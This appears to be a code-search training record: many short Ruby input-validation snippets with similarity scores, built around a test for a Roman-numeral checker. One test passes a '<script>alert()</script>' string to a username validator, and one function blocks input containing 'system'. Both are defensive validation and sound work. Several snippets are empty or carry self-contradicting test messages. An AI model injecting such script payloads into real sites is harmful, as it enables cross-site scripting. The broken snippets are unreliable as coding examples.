"def check_input(input_word)\n # Define a string which includes all valid letter\n dict = \"abcdefghijklmnopqrstuvwxyz\"\n # Define return variable and give a default value\n is_valid = true\n # set return value as false if the length of word not exactly equal 5\n if(input_word.split(//).size != 5)\n is_valid = false\n end\n # If the letter occurs more than once in the word, set return value to false\n # include? method to find if a letter is included in input_word\n input_word.split(//).each do |letter|\n if(dict.include?(letter) == false)\n is_valid = false\n end\n end # end of the each method\n return is_valid\n end",
"def valid_input(str, type = \"string\")\r\n type.downcase!\r\n\r\n case type\r\n when \"string\"\r\n puts(\"Nothing inputted. Try again.\")\r\n input = gets.chomp\r\n while input.empty?\r\n puts(\"Nothing entered. Please try again.\")\r\n input = gets.chomp\r\n end\r\n return input\r\n when \"string-one-word\"\r\n puts(\"Invalid entry. Please try again\")\r\n input = gets.chomp\r\n while input.empty? || input.include?(\" \") || ((Integer(input) rescue \"invalid\") == input.to_i)\r\n if input.empty?\r\n puts(\"Nothing inputted. Try again.\")\r\n input = gets.chomp\r\n else\r\n puts(\"Entered more than one entry. Try again\")\r\n input = gets.chomp\r\n end\r\n end\r\n return input\r\n when \"integer-no-zero\"\r\n puts(\"Incorrect type. Try again.\")\r\n input = gets.chomp\r\n while input.to_i == 0\r\n puts(\"Please enter an integer greater than 0.\")\r\n input = gets.chomp\r\n end\r\n input = input.to_i\r\n when \"integer-greater-zero\"\r\n puts(\"Incorrect type. Try again.\")\r\n input = gets.chomp\r\n while input.to_i <= 0\r\n puts(\"Please enter an integer greater than 0.\")\r\n input = gets.chomp\r\n end\r\n input = input.to_i\r\n when \"integer\"\r\n puts(\"Incorrect type. Try again.\")\r\n input = gets.chomp\r\n while input.to_i == 0 && input != \"0\"\r\n puts(\"Please enter an integer.\")\r\n input = gets.chomp\r\n end\r\n input = input.to_i\r\n else\r\n false\r\n end\r\n\r\nend",
"def invalid_input\n puts \"Invalid input, please try again\"\nend",
"def first_validate_arg(arg)\n if(arg.length != length)\n puts \"The length of the string is not correct. Your input length is #{arg.length} but the length needs to be #{length}\"\n self.valid = false\n return false\n else\n arg.split(\"\").each do |i|\n if(i != '0' && i !='1')\n puts \"The input argument contain(s) characters other than 0 and 1. Please correct!\"\n self.valid = false\n return false\n end\n end\n end\n return true\n end",
"def testRegExp(command, input)\n\treturn case command\n\twhen \"a\"\n\t\tssn(input)\n\twhen \"b\"\n\t\tphoneNumber(input)\n\twhen \"c\"\n\t\temail(input)\n\twhen \"d\"\n\t\tname(input)\n\twhen \"e\"\n\t\tdate(input)\n\twhen \"f\"\n\t\taddress(input)\n\twhen \"g\"\n\t\tletter(input)\n\twhen \"h\"\n\t\tmilitaryTime(input)\n\twhen \"i\"\n\t\tcurrency(input)\n\twhen \"j\"\n\t\twebsite(input)\n\twhen \"k\"\n\t\tpassword(input)\n\twhen \"l\"\n\t\tion(input)\n\telse \n\t\t\"Invalid input... try again.\"\n\tend\nend",
"def test_non_alpha_numeric8\n result = non_alpha_num?(\"ryaNStantz1\")\n refute(result, \"'ryaNStantz1' should not be valid because it should be valid because it does not contain a non-alpha-numeric character\")\n end",
"def name_validator\n puts \"Whats your characters name\"\n name = gets.strip\n until name[/\\d/].nil? do #uses regular expressions to see if the name has anything other then letters\n puts \"Your name must only have letters input again\"\n name = gets.strip\n end\n return name\nend",
"def valid(context,input)\n\n data = nil\n return nil if check_empty(context,input).nil?\n # check for pre-canonicalize if we are in sanitize mode\n check_length(context,input) if @canonicalize\n check_white_list(context,input) if @canonicalize\n check_black_list(context,input) if @canonicalize\n if @canonicalize\n data = encoder.canonicalize(input)\n else\n data = input\n end\n # no check again after we figured otu canonicalization\n return nil if check_empty(context,input).nil?\n check_length(context,input)\n check_white_list(context,input)\n check_black_list(context,input)\n data\n end",
"def validate()\n # rung base method to check\n # for alphabet\n super\n # check for sequenz\n # an validate sequenz length\n if (sequenz?)\n # hier check sequenz length \n if(@lenth != @string.length)\n raise \"String length is not correct\\nRequired lenght: #{@lenth}\\nCurrent length: #{@string.length}\\nString:#{@string}\" \n end\n end\n end",
"def test_check_digits_alpha\r\n assert_nil @g.check_digits('01234a6789')\r\n end",
"def check_input(input)\n if /\\D/.match(input)\n false\n else\n true \n end\nend",
"def isValidInput?(input_num, type)\n return true if isValid?(input_num, type)\n\n msg = \"Valid input is a letter A-#{@board.labelOptionsFor(type)}.\"\n printInvalidSelectionMessage(msg)\n\n false\n end",
"def valid?(_) true end",
"def valid?(_) true end",
"def validate_input\n puts \"Enter move >\"\n player_input = gets.chomp\n if player_input == \"q\"\n exit_game\n return\n end\n \n #Check for valid input\n player_input = player_input.gsub(/[^1-3]/, '') #Strip all but digits 1-3\n # puts player_input # testing\n\n player_input = player_input.split(\"\") # Converts input to array.\n\n if player_input.length != 2 # Looking for only two digit answers\n puts \"Please enter in the format '[1,3]'\"\n return false #Signals invalid input\n elsif player_input[0] == player_input[1]\n puts \"You can't move a piece to the same spot.\"\n else\n return player_input\n end\n end",
"def valid?\n InputValidator.new(input).valid?\n end",
"def valid?(char_int)\n is_capital?(char_int) || is_lowercase?(char_int) ? true : false\nend",
"def get_input(invalid_message, &validator)\n value = nil\n loop do\n value = gets.chomp\n if validator.call(value)\n return value\n else\n puts invalid_message\n end\n end\nend",
"def valid_input?(user_input)\n #use REGEX to check for proper inputs\n proper_input = /\\[[123],[123]\\]/\n if proper_input.match(user_input.to_s)\n return true\n else\n return false\n end\n end",
"def valid_input?(user_input)\n #regex for valid input\n proper_format = /^[a-zA-Z][1-8] [a-zA-Z][1-8]$/ #Example: A1 B2 or c3 G4\n if proper_format.match(user_input)\n move = user_input.split(\" \")\n if move[0] == move[1] #if start and end position are the same\n puts \"Not a valid move! The start and end positions are the same!\"\n puts\n return false\n else #else check other cases\n start_pos = [move[0][1].to_i - 1, @@file_num[move[0][0]]]\n end_pos = [move[1][1].to_i - 1, @@file_num[move[1][0]]]\n if !@board[start_pos] #if nothing at start position\n puts \"There is no piece at #{move[0]}!\"\n puts\n return false\n else #return the move if it passes all other cases\n puts\n return [start_pos, end_pos]\n end\n end\n else\n puts\n puts \"Not a valid input!\"\n puts\n return false\n end\n end",
"def valid_signup_form_input?(input, type)\n # reason to do this with not symbols or vv?\n # better to use =~ somehow?\n case type\n when :n, :s\n !input.match(/^[[:alpha:]\\- ]+$/)\n when :e\n !input.match(/^[\\w.]+@\\w+(\\.[[:alpha:]]+){1,2}$/) || User.exists?(email: input)\n when :u\n !input.match(/^\\w{5,15}$/) || User.exists?(username: input)\n when :p\n !input.match(/^(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9])[\\w\\$!#&]{8,15}$/)\n else\n puts \"## wrong input type ##\"\n # how do this for the programmer?\n end\n end",
"def is_alpha?(input)\n !is_digit?(input)\nend",
"def test_check_capital_non_alpha\r\n assert_equal true, @g.check_capital('?!.(3')\r\n end",
"def get_input\n begin\n inp = gets.chomp\n raise Error unless %w{s h d}.include?(inp)\n rescue\n retry\n end\n inp\n end",
"def verify\n\t\t@ascii_string.each do |value|\n\t\t\traise ArgumentError, \"#{value} is not an ASCII representation of number character with in the range 0-9\" unless NILTO9.key?(value) \n\t\tend\n\t\tself\n\tend",
"def test_rejects_passwords_without_non_alphanumerics\n result = valid_password?(\"1Abjilsa\")\n refute(result, \"'1Abjils&a' should be invalid because it has no non-alphanumeric characters\")\n end",
"def get_valid_input(input_type, options = {})\n input = nil\n loop do\n input = gets.chomp\n # binding.pry\n if options.has_key?(:result) && input == \"\"\n input = options[:result]\n break\n else\n if input_type == \"num\"\n numeric?(input) || input.upcase == 'Q' ? break : say(\"Numbers only\")\n else\n %w(1 2 3 4 Q).include?(input.upcase) ? break : say(\"1, 2, 3, or 4 only\")\n end\n end\n end\n input\nend",
"def test_invalid_characters_in_name\n type = Type.new(:name => \"Do not allow < or > in the name\")\n assert !type.valid?\n assert type.errors.invalid?(:name)\n end",
"def input_validation(guess, password)\n if (@masked_password.include? guess) || (@wrong_letters.include? guess)\n puts 'You already tried that one!', ''\n else\n guess_letter(guess, password) ? right_letter(guess) : wrong_letter(guess)\n end\n end",
"def match(input)\n if @look == input\n get_char\n skip_white\n else \n expected(\"'\" + input.to_s + \"'\")\n end\nend",
"def validate_string(arg)\n arg.split(\"\").each do |i|\n if(i != '0' && i !='1')\n puts \"The input argument contain(s) characters other than 0 and 1. Please correct!\"\n return false\n end\n end\n end",
"def letter(input)\n\t(/[a-zA-Z]{2,}(\\,)\\s?[A-Z]{2}(\\s)([0-9]{5}|[0-9]{5}(\\-)?[0-9]{4}|[a-zA-Z]{1}[0-9]{1}[a-zA-Z]{1}(\\s|\\-)?[0-9]{1}[a-zA-Z]{1}[0-9]{1})}/i =~ input)? \"true\" : \"false\"\nend",
"def test_8_return_false_if_letter_not_in_word\r\n $word = \"test\"\r\n letter = \"d\"\r\n results = letter_test(letter)\r\n assert_equal(false, results)\r\n end",
"def test_seqence_valid17\n result = engine(\"TRUMP12%\")\n refute(result, \"'TRUMP12%' should not be valid because it does not contain lower case letters.\")\n end",
"def test_is_a_letter\n assert_equal true, RPN.letter?('c').zero?\n refute_equal true, RPN.letter?('$').zero?\n end",
"def test_non_alpha_numeric7\n result = non_alpha_num?(\"RYANSTANTz18**\")\n assert(result, \"'RYANSTANTz18**' should be valid because it contains a non-alpha-numeric character\")\n end",
"def validate_guess(guess)\n valid_chars?(guess) && valid_length?(guess) \n end",
"def test_validates_fail\n assert_equal validates(['1']), [1, nil, nil, nil] # return 1\n assert_equal validates(['1', '1']), [1, nil, nil, nil] # return 1\n assert_equal validates(['k', '1', '6']), [1, nil, nil, nil] # return 1\n assert_equal validates(['1', '-1', '1']), [1, nil, nil, nil] # return 1\n assert_equal validates(['-19', '4', '-1']), [1, nil, nil, nil] # return 1 \n end",
"def validate_player_input\n loop do \n input = @player.get_input\n return input if input_is_valid?(input)\n puts \"Invalid input - x,y format and hidden cards only!\" if @player\n end\n end",
"def unrecognized_input\n puts \"Input not recognized or is invalid.\"\n exit_screen\n end",
"def call(input)\n if pattern.is_a?(String) || pattern.is_a?(Symbol)\n VALIDATORS.key?(pattern.to_sym)\n !VALIDATORS[pattern.to_sym].match(input.to_s).nil?\n elsif pattern.is_a?(Regexp)\n !pattern.match(input.to_s).nil?\n elsif pattern.is_a?(Proc)\n result = pattern.call(input.to_s)\n result.nil? ? false : result\n else false\n end\n end",
"def string_validator(string, parameter)\n \n\tif string.length <= $MIN_LENGTH\n puts \"The #{parameter} requires at least #{$MIN_LENGTH} letters\"\n\t\treturn false\n\telsif string != string.gsub(/[^0-9a-z]/i, '')\n puts \"The #{parameter} can only contain alpha numeric characters \"\\\n\t\t \"(no spaces or special characters)\"\n\t\treturn false\n\telsif string !~ /[A-Z]/\n\t puts \"The #{parameter} requires an uppercase character\"\n\t\treturn false\n elsif string !~ /[a-z]/\n\t puts \"The #{parameter} requires an lowercase character\"\n\t\treturn false\n elsif string !~ /\\d/\n\t puts \"The #{parameter} requires numeric character\"\n\t\treturn false\n end\n\n\treturn true\nend",
"def float_valid?(input)\n temp = input.to_s\n true_num = true\n #invalid input if there are more than one \".\"\n #and start with \".\"\n dot_num = temp.count(\".\") \n if dot_num != 0\n if dot_num > 1\n true_num = false\n end\n if temp.index(\".\") == 0\n true_num = false\n end\n end\n #invalid input if there are more than one \"-\"\n #and not start with \"-\"\n minus_num = temp.count(\"-\")\n if minus_num != 0\n if minus_num > 1\n true_num = false\n end\n if temp.index(\"-\") != 0\n true_num = false\n end\n end\n \n #invalid input if there are other symbols\n temp.each_char do |r|\n flag = (45..57).cover?(r.ord) && r.ord != 47\n if !flag\n true_num = false\n end\n end\n return true_num\n end",
"def collect_and_validate_input(msg, type)\n input = prompt msg\n \n if valid?(input, type)\n return input.upcase\n else\n system(\"clear\")\n puts \"INVALID INPUT: Please try again\"\n input = collect_and_validate_input msg, type\n end\nend",
"def valid_letter?(input)\n input.length == 1 && input.match?(/^[[:alpha:]]+$/)\n end",
"def test_palindrome_parameter_empty\n err = assert_raises EmptyDigitError do\n Palindrome.new('')\n end\n assert_match 'The argument is empty', err.message\n end",
"def valid_operation(user_input)\n user_input.downcase!\n \n case user_input\n when \"add\", \"+\"\n puts \"\\n*** ADDING ***\"\n add(*get_numbers)\n when \"subtract\", \"-\"\n puts \"\\n*** SUBTRACTING ***\"\n subtract(*get_numbers)\n when \"multiply\", \"*\"\n puts \"\\n*** MULTIPLYING ***\"\n multiply(*get_numbers)\n when \"divide\", \"/\"\n puts \"\\n*** DIVIDING ***\"\n divide(*get_numbers)\n else\n puts \"\\nERROR, please enter one operator(name or symbol)\"\n print \"=> \"\n valid_operation(gets.chomp)\n end\n \nend",
"def check_input(valid_inputs)\n input = \"\"\n loop do\n input = gets.chomp.upcase\n break if (valid_inputs).include?(input)\n puts \"Sorry. One more time:\"\n end\n return input\n end",
"def validate_input(data)\n flag=true\n while flag && data==\"\"\n puts \"Invalid Input!!! \"\n puts \"Enter Again : \"\n data=gets.chomp\n end\n return data\nend",
"def input_test(input)\n if input =~ /[a-zA-Z]+/ || input.to_i.between?(1, 4999) == false\n return false\n else\n return true\n end\n end",
"def test_seqence_valid16\n result = engine(\"trump12%\")\n refute(result, \"'trump12%' should not be valid because it does not contain upper case letters.\")\n end",
"def test_missing_argument_invalid_argument\n\t\tc = Check.new\n\t\trefute c.check_arguments([1,1,'s'])\n\tend",
"def valid?(input, type)\n if type == :play\n !(input !~ /[RPSrps]/) && input.length == 1\n elsif type == :again\n !(input !~ /[YNyn]/)\n end\nend",
"def test_message_sent_to_invalid_ID\nresult = add_characters_if_valid(\"\")\nassert_equal(\"Inavalid ID. Please enter new ID with only lower case letters.\", result)\nend",
"def test_3_rejects_all_upper_case_passwords\n result = at_least_one_downcase?(\"1abjils&a\")\n assert(result, \"'1abjils&a' should be invalid because it contains no upcase\")\n #assert(result == false, \".same message as above\")\n end",
"def isok(input)\n # make sure that the input does not contain system ''\n ! input.downcase.include? 'system'\n end",
"def validate token\r\n token =~ /[A-Za-z0-9]/\r\n end",
"def input_validation\n\t\tvalidation = false\n\t\twhile validation == false\n\t\t\tputs \"\\n#{@current_player.name} (#{@current_player.color}) please enter your move like this: b1 to c3\"\n\t\t\tinput = gets.chomp.downcase\n\t\t\t@player_play = input.split(\" to \")\n\t\t\t#if the player wants to save his current gameplay.\n\t\t\tif input == \"save\"\n\t\t\t\tsave_game\n\t\t\t#if the player wants to load a previus game.\n\t\t\telsif input == \"load\"\n\t\t\t\tload_game\t\t\n\t\t\t#if the input dosen't follow the 8 character syntax, sends an error message explaining the correct syntax.\n\t\t\telsif input.length != 8\n\t\t\t\tputs \"\\nIncorrect number of characters, please follow this syntax: b1 to c3 (with spaces)\"\n\t\t\t#if the input doesn't include the word 'to' then sends a message explaining the syntax.\n\t\t\telsif !input.include?(\"to\")\n\t\t\t\tputs \"\\nIncorrect syntax, please follow this example: b1 to c3 (with spaces)\"\n\t\t\t#if the player doesn't enter a letter between a-h for columns and a number between 1-8 for rows then print a error message.\n\t\t\telsif (!(\"a\"..\"h\").include?(@player_play[0][0]) || !(\"1\"..\"8\").include?(@player_play[0][1])) || (!(\"a\"..\"h\").include?(@player_play[1][0]) || !(\"1\"..\"8\").include?(@player_play[1][1]))\n\t\t\t\tputs \"\\n¡Error!.The correct syntax for coordinates is Letter (a - h) + Number (1 - 8)\"\n\t\t\t\tputs \"For example b1, g2 or f5, please try again!\"\n\t\t\t#if the player is trying to move an enemy piece or and empty square, then print a error message.\n\t\t\telsif @current_player.color != @board[@player_play[0]].color\n\t\t\t\tputs \"¡Error!.That is not your piece or is an empty square, try again!\"\n\t\t\t#if the input follows the correct syntax and the piece is the same color as the current player, then validate the input.\n\t\t\telsif (@player_play.size == 2 && @current_player.color == @board[@player_play[0]].color) && (@player_play[0].length == 2 && @player_play[1].length == 2)\n\t\t\t\tvalidation = true\n\t\t\tend\n\t\tend\n\t\tplay_flow(@player_play)\n\tend",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def validateCode(userInput)\n\tuntil (checkCode(userInput) == true)\n\t\tgetCode()\n\tend\n\treturn userInput\nend",
"def test_update_board_valid_input\n board = Board.new(3)\n assert_equal(false, board.valid_input?(\"10\"))\n end",
"def test_check_capital_end\r\n assert_nil @g.check_capital('abcD')\r\n end",
"def valid_input?(input)\n if 1 <= input.to_i && input.to_i <= 9\n coordinates = get_coordinates(input)\n valid_cell?(coordinates)\n elsif input.downcase == \"quit\" || input.downcase == \"restart\"\n true\n else\n false\n end\n end",
"def valid(context,input)\n antisamy(context,input)\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def validate_input(list)\n\n list.each { |i|\n if /[a-zA-Z]+\\d+/ !~ i\n return false\n end\n }\n\n true\nend",
"def test_palindrome_parameter_string\n err = assert_raises InvalidStringError do\n Palindrome.new('Hola mundo')\n end\n assert_match 'The argunment is a String', err.message\n end",
"def validate\n 2.times { puts }\n puts <<-EOF\nYou have entered the following information\nApocalypse server : #{@address}\nApocalypse server port : #{@port}\nApocalypse username : #{@username}\nApocalypse password : #{'*' *@password.length}\nThis Server' hostname : #{@hostname}\nEOF\n\n print \"Is this correct? [no]: \"\n raise Exception.new(\"Aborted by user.\") unless gets =~ /^y(?:es|)$/\n puts\n end",
"def test_is_username\n assert(StringChecker.is_valid_username?(\"ese\"))\n assert(!StringChecker.is_valid_username?(\"e se\"))\n assert(!StringChecker.is_valid_username?(\"<script>alert()</script>\"))\n assert(!StringChecker.is_valid_username?(\"happy-emu\"))\n assert(StringChecker.is_valid_username?(\"happy_emu\"))\n assert(!StringChecker.is_valid_username?(\"happy-\"))\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end"
] | [
"0.69861555",
"0.6925074",
"0.67451984",
"0.66084594",
"0.6542202",
"0.65336657",
"0.6507459",
"0.6500025",
"0.6483599",
"0.64475846",
"0.64465445",
"0.64450765",
"0.6406952",
"0.64045215",
"0.6403561",
"0.63759965",
"0.6357122",
"0.6347898",
"0.6295421",
"0.6267455",
"0.62444884",
"0.62405336",
"0.62120277",
"0.62066543",
"0.62045234",
"0.6191235",
"0.6169386",
"0.6167884",
"0.6154099",
"0.6146209",
"0.6138412",
"0.61218363",
"0.61092144",
"0.6089749",
"0.6082389",
"0.60822666",
"0.60815674",
"0.60563564",
"0.60534704",
"0.6040178",
"0.6040178",
"0.6024469",
"0.602442",
"0.6023562",
"0.60188043",
"0.60157585",
"0.6011963",
"0.59972256",
"0.59914416",
"0.5981973",
"0.5980059",
"0.5941846",
"0.5928968",
"0.5926882",
"0.59192306",
"0.589761",
"0.5894699",
"0.5893955",
"0.58932656",
"0.588088",
"0.58690524",
"0.5866424",
"0.5861461",
"0.5859917",
"0.58542246",
"0.5850751",
"0.5842065",
"0.58398145",
"0.5836518",
"0.583266",
"0.58317983",
"0.5823142",
"0.581727",
"0.5808238",
"0.58056784",
"0.5801131",
"0.5790425",
"0.57835704",
"0.5781511",
"0.5777829",
"0.57739764",
"0.577227",
"0.57611316",
"0.57583016",
"0.57465667",
"0.57369214",
"0.57369214",
"0.5735403",
"0.57353485",
"0.573406",
"0.57326925",
"0.57314634",
"0.57286394",
"0.57272696",
"0.57268757",
"0.57237923",
"0.5722899",
"0.5722499",
"0.5722059",
"0.5714129"
] | 0.73717695 | 0 |
TEST is_roman METHOD IT SHOULD RETURN TRUE IF VALID(ROMAN LETTER) INPUT PASSED ELSE RAISE EXCEPTION | def test_is_roman
assert_equal(true, RomanMathmaticalOperation.is_roman("V"))
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.is_roman(1)}
assert_equal("Not valid input", exception.message)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.is_roman("WRONG")}
assert_equal("Not valid input", exception.message)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def is_roman?\n @input.is_a? String\n end",
"def validate_roman roman_str\n\tif roman_str.scan(/^M{0,3}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})$/).empty?\n\t\tabort(\"Invalid Roman Language\")\n\tend\nend",
"def roman?\r\n # Liberal definition: all Roman numeral letters\r\n self.upcase =~ ROMAN_REGEXP\r\n # ALT: Stolen from O'Reilly's Perl Cookbook 6.23. Regular Expression Grabbag\r\n #self =~ /^M*(D?C{0,3}|C[DM])(L?X{0,3}|X[LC])(V?I{0,3}|I[VX])$/i\r\n # ALT: Catch all non-arabic numbers\r\n # not self.arabic?\r\n end",
"def test_is_number_true\n #Arrange\n input = '2'\n #Act\n result = @roman.is_number?(input)\n #Assert\n assert_equal(true, result)\n end",
"def test_to_roman\n assert_equal(\"X\", RomanMathmaticalOperation.new.send(:to_roman,10))\n assert_not_equal(\"X\", RomanMathmaticalOperation.new.send(:to_roman,11))\n assert_equal(\"\", RomanMathmaticalOperation.new.send(:to_roman,0))\n end",
"def test_valid_input\n assert_equal(nil, RomanMathmaticalOperation.new(\"X\", \"+\",\"V\").send(:valid_input))\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\", \"+\",nil).send(:valid_input)}\n assert_equal(\"This X or is not valid\", exception.message)\n exception = assert_raise(\"RomanMathmaticalOperationError\") {RomanMathmaticalOperation.new(\"X\", \"%\",\"V\").send(:valid_input)}\n assert_equal(\"Operator missmatch\", exception.message)\n end",
"def test_that_will_return_invalid_if_too_many_letters_or_wrong_characters\n assert_equal(\"Invalid Input\", arabic_converter(\"IIII\"))\n assert_equal(\"Invalid Input\", arabic_converter(\"1\"))\n assert_equal(\"Invalid Input\", arabic_converter(\"xV\"))\n assert_equal(\"Invalid Input\", arabic_converter(\"a.]\"))\n end",
"def test_covert_one_to_roman\n generic_fn_roman_numerals( '1', 'I' )\n end",
"def roman_numeral(arabic_numeral)\n arabic_array = arabic_numeral.to_s.split(//)\n arabic_array_int = arabic_array.map { |int| int.to_i }\n if arabic_array.length >= 8\n puts \">> This feature only supports numbers up to 9,999,999, as the unicode for Roman numerals above 1,000 is not universally displayable. Please enter a positive whole number less than 10,000,000:\"\n arabic_numeral = gets.to_i\n roman_numeral(arabic_numeral)\n loop do\n break if arabic_numeral > 0\n if arabic_numeral <= 0\n puts \">> Make sure that the number you enter is greater than 0:\"\n end\n arabic_numeral = gets.to_i\n end\n end\n# begin millions place\n if arabic_array_int[-7] != nil\n millions = arabic_array_int[-7] * 1000\n millions.times { |mmmmm| print \"M\" }\n end\n# begin hundred thousands place\n if arabic_array_int[-6] != nil\n hundred_thousands = arabic_array_int[-6] * 100\n hundred_thousands.times { |mmm| print \"M\" }\n end\n# begin ten thousands place\n if arabic_array_int[-5] != nil\n ten_thousands = arabic_array_int[-5] * 10\n ten_thousands.times { |mm| print \"M\" }\n end\n# begin thousands place\n if arabic_array_int[-4] != nil\n m = arabic_array_int[-4]\n m.times { |m| print \"M\" }\n end\n# begin hundreds place\n unless arabic_array_int[-3] != true || arabic_array_int[-3] == 9 || arabic_array_int[-3] == 4 || arabic_array_int[-3] >= 5 && arabic_array_int[-3] <= 8\n arabic_array_int[-3].times { |c| print \"C\" }\n end\n if arabic_array_int[-3] == 1\n print \"C\"\n end\n if arabic_array_int[-3] == 2\n print \"CC\"\n end\n if arabic_array_int[-3] == 3\n print \"CCC\"\n end\n if arabic_array_int[-3] == 4\n print \"CD\"\n end\n if arabic_array_int[-3] == 5\n print \"D\"\n elsif arabic_array_int[-3] == 6 \n print \"DC\"\n elsif arabic_array_int[-3] == 7\n print \"DCC\"\n elsif arabic_array_int[-3] == 8\n print \"DCCC\"\n end \n if arabic_array_int[-3] == 9\n print \"CM\"\n end\n \n# begin tens place\n unless arabic_array_int[-2] != true || arabic_array_int[-2] == 9 || arabic_array_int[-2] == 4 || arabic_array_int[-2] >= 5 && arabic_array_int[-2] <= 8\n arabic_array_int[-2].times { |x| print \"X\" }\n end\n if arabic_array_int[-2] == 1\n print \"X\" \n elsif arabic_array_int[-2] == 2\n print \"XX\"\n elsif arabic_array_int[-2] == 3\n print \"XXX\"\n elsif arabic_array_int[-2] == 4\n print \"XL\"\n elsif arabic_array_int[-2] == 5\n print \"L\"\n elsif arabic_array_int[-2] == 6 \n print \"LX\"\n elsif arabic_array_int[-2] == 7\n print \"LXX\"\n elsif arabic_array_int[-2] == 8\n print \"LXXX\"\n elsif arabic_array_int[-2] == 9\n print \"XC\"\n end\n \n# begin ones place\n unless arabic_array_int[-1] == 9 || arabic_array_int[-1] == 4 || arabic_array_int[-1] >= 5 && arabic_array_int[-1] <= 8\n arabic_array_int[-1].times { |ones| print \"I\" }\n end\n if arabic_array_int[-1] == 5\n print \"V\"\n elsif arabic_array_int[-1] == 6 \n print \"VI\"\n elsif arabic_array_int[-1] == 7\n print \"VII\"\n elsif arabic_array_int[-1] == 8\n print \"VIII\"\n end \n if arabic_array_int[-1] == 9\n print \"IX\"\n end\n if arabic_array_int[-1] == 4\n print \"IV\"\n end\n# end line for readability\nprint \"\\n\"\nend",
"def test_romana?\n assert_equal(true, 'MCCXXXIV'.romana?)\n assert_equal(false, 'lixo'.romana?)\n end",
"def generic_fn_roman_numerals(input, expected)\n #Arrange\n #This step is not longer used because the input comes as parameter\n #Act\n result = @roman.convert( input )\n #Assert\n assert_equal(expected, result)\n end",
"def test_convert_roman_one_to_arabic_one\n generic_fn_roman_numerals( 'I', '1' )\n end",
"def validate()\n if (sequenz?)\n @string.each_char do |char|\n if([email protected](/#{char}+/))\n raise \"String alphabet is not correct\\nChar: #{char}\\nString: #{@string}\" \n end\n end\n end\n end",
"def roman_numbers num\n case num\n when 'CM'\n return 900\n when 'CD'\n return 400\n when 'XC'\n return 90\n when 'XL'\n return 40\n when 'IX'\n return 9\n when 'IV'\n return 4\n else\n return false\n end\nend",
"def roman_to_integer roman\r\n digit_vals = {'i' => 1,\r\n 'v' => 5,\r\n 'x' => 10,\r\n 'l' => 50,\r\n 'c' => 100,\r\n 'd' => 500,\r\n 'm' => 1000}\r\n total = 0\r\n prev = 0\r\n roman.reverse.each_char do |c_or_C|\r\n c = c_or_C.downcase\r\n val = digit_vals[c]\r\n if !val\r\n puts 'this is not a valid roman numeral!'\r\n return\r\n end\r\n if val < prev\r\n val *= -1\r\n else\r\n prev = val\r\n end\r\n\r\n total += val\r\n end\r\n\r\n total\r\nend",
"def valid?(char_int)\n is_capital?(char_int) || is_lowercase?(char_int) ? true : false\nend",
"def test_simple \n R.each do |k, v|\n assert_equal(v, RomanNumerals.new(k).xp_converter)\n end\n end",
"def roman_to_integer passcode\n\n\tdigit_vals = { 'i' => 1,\n\t\t\t\t 'v' => 5,\n\t\t\t\t 'x' => 10,\n\t\t\t\t 'l' => 50,\n\t\t\t\t 'c' => 100,\n\t\t\t\t 'd' => 500,\n\t\t\t\t 'm' => 1000}\n\n\ttotal = 0\n\tprev = 0\n\tindex = passcode.length-1\n\t\n\twhile index >=0\n\t\tc = passcode[index].downcase\n\t\tindex = index - 1\n\t\tval = digit_vals[c]\n\t\tif !val\n\t\t\tputs 'This is not a valid roman numeral!'\t\n\t\t\treturn\n\t\tend\n\n\t\tif val < prev\n\t\t\tval = val * -1\n\t\telse\n\t\t\tprev = val\n\t\tend\n\t\ttotal = total + val\n\tend\n\ttotal\n\nend",
